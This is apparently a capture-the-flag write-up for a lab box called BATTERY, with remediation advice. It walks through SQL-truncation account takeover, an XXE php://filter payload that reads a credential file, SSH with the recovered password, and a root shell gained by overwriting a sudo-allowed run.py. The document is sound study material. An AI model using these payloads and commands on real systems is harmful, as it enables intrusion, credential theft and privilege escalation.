SQL truncation admin, XXE credential theft, and sudo run.py overwrite
Intermediate Linux engagement: bank portal registration abused SQL truncation to seize admin; XXE on forms.php read acc.php credentials for SSH as cyber; a sudo-allowed run.py path was overwritten for root.
- Case files
- SQL truncation admin, XXE credential theft, and sudo run.py overwrite
Registration truncation overwrote the admin password. XXE recovered cyber’s SSH secret. Directory-writable run.py under NOPASSWD python completed root.
strings on /report and registration truncation seized admin@bank.a.
forms.php XXE read acc.php; decoded comment held cyber’s password for SSH.
Replaced /home/cyber/run.py with a shell spawn and invoked it under sudo.
Engagement summary
Registration truncation overwrote the admin password. XXE recovered cyber’s SSH secret. Directory-writable run.py under NOPASSWD python completed root.
BATTERY (10.10.204.193) hosted a bank portal on Apache. An ELF under /report leaked guest/guest and admin@bank.a. Registering with a truncated/null-byte username overwrote the admin account password. Authenticated XXE on forms.php used php://filter to base64-read /var/www/html/acc.php, which commented cyber:super#secure&password!. SSH as cyber showed sudo NOPASSWD for /usr/bin/python3 /home/cyber/run.py while the home directory remained writable — removing and recreating run.py with os.system('/bin/sh') yielded root on the next sudo invocation.
Business impact
SQL truncation and null-byte registration bugs are account takeover. XXE turns form parsers into file readers. Sudo over a script in a user-writable directory is root by design. Fix column lengths and input validation, disable external entities, and place sudo scripts in root-owned immutable paths.
Recon and SQL truncation to admin
strings on /report and registration truncation seized admin@bank.a.
OPERATOR · RECON
savvy@lab:~$ nmap -sSCV 10.10.204.193
22/tcp open ssh OpenSSH 6.6.1p1
80/tcp open http Apache httpd 2.4.7
savvy@lab:~$ gobuster dir -u http://10.10.204.193 -w common.txt -x php
/register.php /admin.php /forms.php /acc.php /report
savvy@lab:~$ wget http://10.10.204.193/report && strings report | head
guest/guest admin@bank.a cyber@bank.a
OPERATOR · TRUNCATION
# register uname=admin@bank.a%00 (or padded spaces) with attacker-chosen password
savvy@lab:~$ # login /admin.php as admin@bank.a with the password we set
XXE to cyber SSH
forms.php XXE read acc.php; decoded comment held cyber’s password for SSH.
PAYLOAD
xxe.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/acc.php">
]>
<root>
<name>aaa</name>
<search>&xxe;</search>
</root>OPERATOR · XXE / SSH
savvy@lab:~$ echo '<base64 from XXE>' | base64 -d | grep -i cred
//MY CREDS :- cyber:super#secure&password!
savvy@lab:~$ ssh cyber@10.10.204.193
savvy@lab:~$
Overwrite sudo run.py for root
Replaced /home/cyber/run.py with a shell spawn and invoked it under sudo.
OPERATOR · ROOT
savvy@lab:~$ sudo -l
(root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py
savvy@lab:~$ rm run.py && printf 'import os\nos.system("/bin/sh")\n' > /home/cyber/run.py
savvy@lab:~$ sudo /usr/bin/python3 /home/cyber/run.py
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)
Remediation
Enforce exact-length unique constraints on usernames; reject null bytes. Disable XXE in XML parsers. Move privileged scripts to /usr/local/sbin owned by root with mode 755 and no user write on the parent directory.